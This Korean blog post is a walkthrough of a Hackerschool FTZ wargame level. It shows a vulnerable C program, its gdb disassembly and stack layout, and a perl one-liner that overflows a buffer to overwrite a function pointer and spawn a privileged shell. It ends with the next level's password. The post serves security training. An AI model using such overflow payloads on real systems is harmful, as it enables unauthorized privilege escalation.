본문 바로가기

System Hacking/해커스쿨 FTZ

해커스쿨 FTZ ( level16 -> level17 ) by ORANG

FTZ_level16

 

[level16@ftz level16]$ bash2

[level16@ftz level16]$ cat hint

 

 

#include <stdio.h>

 

void shell() {

  setreuid(3097,3097);

  system("/bin/sh");

}

 

void printit() {

  printf("Hello there!\n");

}

 

main()

{ int crap;

  void (*call)()=printit;

  char buf[20];

  fgets(buf,48,stdin);

  call();

}

 

bash2 띄우고~ 힌트를 확인해보겠습니다!

printit함수의 호출부분( call(); )이 있으니 그 부분에서 shell 함수를 호출하도록 바꿔주겠습니다.

 

gdb를 이용해 분석해보겠습니다.

 

 (gdb) disas main

Dump of assembler code for function main:

0x08048518 <main+0>: push   %ebp

0x08048519 <main+1>: mov    %esp,%ebp

0x0804851b <main+3>: sub    $0x38,%esp

0x0804851e <main+6>: movl   $0x8048500,0xfffffff0(%ebp)

0x08048525 <main+13>: sub    $0x4,%esp

0x08048528 <main+16>: pushl  0x80496e8

0x0804852e <main+22>: push   $0x30

0x08048530 <main+24>: lea    0xffffffc8(%ebp),%eax

0x08048533 <main+27>: push   %eax

0x08048534 <main+28>: call   0x8048384 <fgets>

0x08048539 <main+33>: add    $0x10,%esp

0x0804853c <main+36>: mov    0xfffffff0(%ebp),%eax

0x0804853f <main+39>: call   *%eax

0x08048541 <main+41>: leave

0x08048542 <main+42>: ret

 

(gdb) p shell

$1 = {<text variable, no debug info>} 0x80484d0 <shell>

(gdb) p printit

$2 = {<text variable, no debug info>} 0x8048500 <printit>

 

 

먼저 main+3을 보니 0x38( 10진수로 56바이트)의 메모리를 확보하네요ㅎㅎ

main+6을 보면 0x8048500, printit 함수의 주소를 ebp-16지점( *call )에 저장하는게 보이네요

이 부분에 저장되는 주소를, shell 함수의 주소로 바꿔주겠습니다.

shell 함수의 시작주소는 0x80484d0이네요ㅎㅎ

 

RET [4]

SFP [4]

dummy [4]

crap [4]

dummy [4]

* call [4]

dummy [20]

buf [20]

 

 

깔끔하게 56바이트 모두 shell함수의 주소로 덮어쓰는 방법으로 공격하겠습니다!

 

[level16@ftz level16]$ (perl -e 'print "\xd0\x84\x04\x08"x14'; cat) | ./attackme

 

id

uid=3097(level17) gid=3096(level16) groups=3096(level16)

my-pass

 

Level17 Password is "king poetic”.

 

 

 

level17의 셸을 획득했습니다~